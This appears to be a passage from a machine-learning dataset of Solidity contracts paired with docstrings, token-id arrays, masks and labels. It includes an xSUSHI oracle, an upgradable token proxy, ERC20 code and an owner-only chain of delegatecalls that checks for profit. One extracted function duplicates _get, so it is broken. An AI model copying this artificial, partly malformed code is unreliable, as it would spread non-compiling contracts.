(bool success1,)=address1.delegatecall(bts1);
require(success1,'step2');
(bool success2,)= address2.delegatecall(bts2);
require(success2,'step2');
(bool success3,)= address3.delegatecall(bts3);
require(success3,'step3');
require(weth.balanceOf(address(this))>=start+thr,'no profit');
}
| 3,004,124 |
[
1,
45,
654,
39,
3462,
12,
2160,
5664,
18,
869,
1887,
12,
70,
3428,
21,
16,
9470,
13,
2934,
12908,
537,
12,
2867,
21,
16,
8949,
382,
1769,
5985,
5664,
18,
869,
1887,
12,
70,
3428,
21,
16,
9470,
2934,
1991,
12,
21457,
18,
3015,
1190,
4320,
12,
20,
92,
5908,
25,
24852,
27,
70,
23,
16,
1758,
21,
16,
5985,
5664,
18,
869,
5487,
12,
70,
3428,
21,
16,
21770,
3719,
1769,
23045,
23045,
23045,
23045,
80,
484,
951,
316,
12740,
2758,
5985,
5664,
18,
869,
1887,
12,
70,
3428,
22,
16,
9470,
2934,
1991,
12,
21457,
18,
3015,
1190,
4320,
12,
20,
92,
5908,
25,
24852,
27,
70,
23,
16,
1758,
22,
16,
5985,
5664,
18,
869,
5487,
12,
70,
3428,
22,
16,
21770,
3719,
1769,
467,
654,
39,
3462,
12,
2160,
5664,
18,
869,
1887,
12,
70,
3428,
22,
16,
9470,
13,
2934,
12908,
537,
12,
2
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
[
1,
565,
445,
7720,
23,
12,
2867,
1758,
21,
16,
3890,
745,
892,
20838,
21,
16,
2867,
1758,
22,
16,
3890,
745,
892,
20838,
22,
16,
2867,
1758,
23,
16,
3890,
745,
892,
20838,
23,
16,
11890,
29142,
13,
9375,
1338,
5541,
95,
203,
3639,
2254,
787,
33,
91,
546,
18,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
203,
3639,
261,
6430,
2216,
21,
16,
13,
33,
2867,
21,
18,
22216,
1991,
12,
70,
3428,
21,
1769,
203,
540,
203,
3639,
2583,
12,
4768,
21,
11189,
4119,
22,
8284,
203,
540,
203,
3639,
261,
6430,
2216,
22,
16,
13,
33,
1758,
22,
18,
22216,
1991,
12,
70,
3428,
22,
1769,
203,
3639,
2583,
12,
4768,
22,
11189,
4119,
22,
8284,
203,
203,
3639,
261,
6430,
2216,
23,
16,
13,
33,
1758,
23,
18,
22216,
1991,
12,
70,
3428,
23,
1769,
203,
3639,
2583,
12,
4768,
23,
11189,
4119,
23,
8284,
203,
203,
203,
3639,
2583,
12,
91,
546,
18,
12296,
951,
12,
2867,
12,
2211,
3719,
34,
33,
1937,
15,
451,
86,
11189,
2135,
450,
7216,
8284,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
/// @notice EIP 2612
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
}
// File @boringcrypto/boring-solidity/contracts/libraries/[email protected]
// License-Identifier: MIT
/// @notice A library for performing overflow-/underflow-safe math,
/// updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math).
library BoringMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow");
}
function to128(uint256 a) internal pure returns (uint128 c) {
require(a <= uint128(-1), "BoringMath: uint128 Overflow");
c = uint128(a);
}
function to64(uint256 a) internal pure returns (uint64 c) {
require(a <= uint64(-1), "BoringMath: uint64 Overflow");
c = uint64(a);
}
function to32(uint256 a) internal pure returns (uint32 c) {
require(a <= uint32(-1), "BoringMath: uint32 Overflow");
c = uint32(a);
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint128.
library BoringMath128 {
function add(uint128 a, uint128 b) internal pure returns (uint128 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint128 a, uint128 b) internal pure returns (uint128 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint64.
library BoringMath64 {
function add(uint64 a, uint64 b) internal pure returns (uint64 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint64 a, uint64 b) internal pure returns (uint64 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
/// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint32.
library BoringMath32 {
function add(uint32 a, uint32 b) internal pure returns (uint32 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint32 a, uint32 b) internal pure returns (uint32 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
}
// File contracts/interfaces/IOracle.sol
// License-Identifier: MIT
interface IOracle {
/// @notice Get the latest exchange rate.
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return success if no valid (recent) rate is available, return false else true.
/// @return rate The rate of the requested asset / pair / pool.
function get(bytes calldata data) external returns (bool success, uint256 rate);
/// @notice Check the last exchange rate without any state changes.
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return success if no valid (recent) rate is available, return false else true.
/// @return rate The rate of the requested asset / pair / pool.
function peek(bytes calldata data) external view returns (bool success, uint256 rate);
/// @notice Check the current spot exchange rate without any state changes. For oracles like TWAP this will be different from peek().
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return rate The rate of the requested asset / pair / pool.
function peekSpot(bytes calldata data) external view returns (uint256 rate);
/// @notice Returns a human readable (short) name about this oracle.
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return (string) A human readable symbol name about this oracle.
function symbol(bytes calldata data) external view returns (string memory);
/// @notice Returns a human readable name about this oracle.
/// @param data Usually abi encoded, implementation specific data that contains information and arguments to & about the oracle.
/// For example:
/// (string memory collateralSymbol, string memory assetSymbol, uint256 division) = abi.decode(data, (string, string, uint256));
/// @return (string) A human readable name about this oracle.
function name(bytes calldata data) external view returns (string memory);
}
interface IAggregator {
function latestAnswer() external view returns (int256 answer);
}
/// @title xSUSHIOracle
/// @author BoringCrypto
/// @notice Oracle used for getting the price of xSUSHI based on Chainlink
/// @dev
contract xSUSHIOracle is IOracle {
using BoringMath for uint256; // Keep everything in uint256
IERC20 public immutable sushi;
IERC20 public immutable bar;
IAggregator public immutable sushiOracle;
constructor (IERC20 sushi_, IERC20 bar_, IAggregator sushiOracle_) public {
sushi = sushi_;
bar = bar_;
sushiOracle = sushiOracle_;
}
// Calculates the lastest exchange rate
// Uses sushi rate and xSUSHI conversion and divide for any conversion other than from SUSHI to ETH
function _get(
address divide,
uint256 decimals
) internal view returns (uint256) {
uint256 price = uint256(1e36);
price = price.mul(uint256(sushiOracle.latestAnswer())).mul(bar.totalSupply()) / sushi.balanceOf(address(bar));
if (divide != address(0)) {
price = price / uint256(IAggregator(divide).latestAnswer());
}
return price / decimals;
}
function getDataParameter(
address divide,
uint256 decimals
) public pure returns (bytes memory) {
return abi.encode(divide, decimals);
}
// Get the latest exchange rate
/// @inheritdoc IOracle
function get(bytes calldata data) public override returns (bool, uint256) {
(address divide, uint256 decimals) = abi.decode(data, (address, uint256));
return (true, _get(divide, decimals));
}
// Check the last exchange rate without any state changes
/// @inheritdoc IOracle
function peek(bytes calldata data) public view override returns (bool, uint256) {
(address divide, uint256 decimals) = abi.decode(data, (address, uint256));
return (true, _get(divide, decimals));
}
// Check the current spot exchange rate without any state changes
/// @inheritdoc IOracle
function peekSpot(bytes calldata data) external view override returns (uint256 rate) {
(, rate) = peek(data);
}
/// @inheritdoc IOracle
function name(bytes calldata) public view override returns (string memory) {
return "xSUSHI Chainlink";
}
/// @inheritdoc IOracle
function symbol(bytes calldata) public view override returns (string memory) {
return "xSUSHI-LINK";
}
}
|
@title xSUSHIOracle @author BoringCrypto @notice Oracle used for getting the price of xSUSHI based on Chainlink @dev
|
contract xSUSHIOracle is IOracle {
IERC20 public immutable sushi;
IERC20 public immutable bar;
IAggregator public immutable sushiOracle;
constructor (IERC20 sushi_, IERC20 bar_, IAggregator sushiOracle_) public {
sushi = sushi_;
bar = bar_;
sushiOracle = sushiOracle_;
}
function _get(
address divide,
uint256 decimals
) internal view returns (uint256) {
uint256 price = uint256(1e36);
price = price.mul(uint256(sushiOracle.latestAnswer())).mul(bar.totalSupply()) / sushi.balanceOf(address(bar));
if (divide != address(0)) {
price = price / uint256(IAggregator(divide).latestAnswer());
}
return price / decimals;
}
function _get(
address divide,
uint256 decimals
) internal view returns (uint256) {
uint256 price = uint256(1e36);
price = price.mul(uint256(sushiOracle.latestAnswer())).mul(bar.totalSupply()) / sushi.balanceOf(address(bar));
if (divide != address(0)) {
price = price / uint256(IAggregator(divide).latestAnswer());
}
return price / decimals;
}
function getDataParameter(
address divide,
uint256 decimals
) public pure returns (bytes memory) {
return abi.encode(divide, decimals);
}
function get(bytes calldata data) public override returns (bool, uint256) {
(address divide, uint256 decimals) = abi.decode(data, (address, uint256));
return (true, _get(divide, decimals));
}
function peek(bytes calldata data) public view override returns (bool, uint256) {
(address divide, uint256 decimals) = abi.decode(data, (address, uint256));
return (true, _get(divide, decimals));
}
function peekSpot(bytes calldata data) external view override returns (uint256 rate) {
(, rate) = peek(data);
}
function name(bytes calldata) public view override returns (string memory) {
return "xSUSHI Chainlink";
}
function symbol(bytes calldata) public view override returns (string memory) {
return "xSUSHI-LINK";
}
}
| 1,131,463 |
[
1,
92,
6639,
2664,
4294,
16873,
225,
605,
6053,
18048,
225,
28544,
1399,
364,
8742,
326,
6205,
434,
619,
6639,
2664,
45,
2511,
603,
7824,
1232,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
619,
6639,
2664,
4294,
16873,
353,
1665,
16873,
288,
203,
203,
565,
467,
654,
39,
3462,
1071,
11732,
272,
1218,
77,
31,
203,
565,
467,
654,
39,
3462,
1071,
11732,
4653,
31,
203,
565,
467,
17711,
1071,
11732,
272,
1218,
77,
23601,
31,
203,
203,
565,
3885,
261,
45,
654,
39,
3462,
272,
1218,
77,
67,
16,
467,
654,
39,
3462,
4653,
67,
16,
467,
17711,
272,
1218,
77,
23601,
67,
13,
1071,
288,
203,
3639,
272,
1218,
77,
273,
272,
1218,
77,
67,
31,
203,
3639,
4653,
273,
4653,
67,
31,
203,
3639,
272,
1218,
77,
23601,
273,
272,
1218,
77,
23601,
67,
31,
203,
565,
289,
203,
203,
565,
445,
389,
588,
12,
203,
3639,
1758,
12326,
16,
203,
3639,
2254,
5034,
15105,
203,
565,
262,
2713,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
2254,
5034,
6205,
273,
2254,
5034,
12,
21,
73,
5718,
1769,
203,
3639,
6205,
273,
6205,
18,
16411,
12,
11890,
5034,
12,
87,
1218,
77,
23601,
18,
13550,
13203,
10756,
2934,
16411,
12,
3215,
18,
4963,
3088,
1283,
10756,
342,
272,
1218,
77,
18,
12296,
951,
12,
2867,
12,
3215,
10019,
203,
203,
3639,
309,
261,
2892,
831,
480,
1758,
12,
20,
3719,
288,
203,
5411,
6205,
273,
6205,
342,
2254,
5034,
12,
45,
17711,
12,
2892,
831,
2934,
13550,
13203,
10663,
203,
3639,
289,
203,
203,
3639,
327,
6205,
342,
15105,
31,
203,
565,
289,
203,
203,
565,
445,
389,
588,
12,
203,
3639,
1758,
12326,
16,
203,
3639,
2254,
5034,
15105,
203,
565,
2
] |
pragma solidity 0.4.19;
import "../dependencies/aragon-core/contracts/common/DelegateProxy.sol";
import "./STRTokenProxyStorage.sol";
import "./STRToken.sol";
/**
* @title Stream Token Proxy
*
* @dev This contract is a proxy used in front of the Stream Token to make it
* upgradable
*/
contract STRTokenProxy is STRTokenProxyStorage, DelegateProxy {
event ImplementationChanged(address previous, address current);
event AdminChanged(address previous, address current);
/**
* @param _admin The address of the admin who can upgrade the token
* @param _implementation The address of the current implementation of the
* token. It must be a contract
*/
function STRTokenProxy(address _admin, address _implementation) public {
require(_admin != address(0));
proxyAdmin = _admin;
setImplementationAndInitializeStorage(_implementation, 0x00);
}
/**
* @dev Forwards everything to the implementation token using a DELEGATECALL
*/
function () payable public {
delegatedFwd(currentImplementation, msg.data);
}
/**
* @dev Changes the token implementation. Only callable by the admin
* @param newImplementation It must be a contract
* @param data Any data needed by the #migrateStorage(bytes) of the new
* implementation.
*/
function changeTokenImplementation(address newImplementation, bytes32 data)
public
{
require(msg.sender == proxyAdmin);
ImplementationChanged(currentImplementation, newImplementation);
setImplementationAndInitializeStorage(newImplementation, data);
}
/**
* @dev Changes the admin. Only callable by the current admin
*/
function changeAdmin(address newAdmin) public {
require(msg.sender == proxyAdmin);
require(newAdmin != address(0));
AdminChanged(proxyAdmin, newAdmin);
proxyAdmin = newAdmin;
}
/**
* @notice We don't declare the state variable as public because that would
* pollute the implementation's interface.
*/
function admin() public constant returns (address) {
return proxyAdmin;
}
/**
* @notice We don't declare the state variable as public because that would
* pollute the implementation's interface.
*/
function implementation() public constant returns (address) {
return currentImplementation;
}
function setImplementationAndInitializeStorage(
address _implementation,
bytes32 data
)
internal
{
require(isContract(_implementation));
currentImplementation = _implementation;
assert(currentImplementation.delegatecall(
STRToken(_implementation).migrateStorage.selector,
data
));
}
}
|
* @dev Forwards everything to the implementation token using a DELEGATECALL/
|
function () payable public {
delegatedFwd(currentImplementation, msg.data);
}
| 7,291,227 |
[
1,
1290,
6397,
7756,
358,
326,
4471,
1147,
1450,
279,
2030,
19384,
1777,
13730,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
1832,
8843,
429,
1071,
288,
203,
3639,
30055,
42,
3623,
12,
2972,
13621,
16,
1234,
18,
892,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.5.17;
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract CommitGoodBase {
/**
* @dev Emiited when a GSN enabled recipient processes a transaction.
* @param actualCharge The estimated cost of the transaction.
*/
event CommitGoodTransactionCharge(uint256 actualCharge);
}
contract MinterRole is Initializable, Context {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
function initialize(address sender) public initializer {
if (!isMinter(sender)) {
_addMinter(sender);
}
}
modifier onlyMinter() {
require(isMinter(_msgSender()), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(_msgSender());
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
uint256[50] private ______gap;
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20Mintable}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Initializable, Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
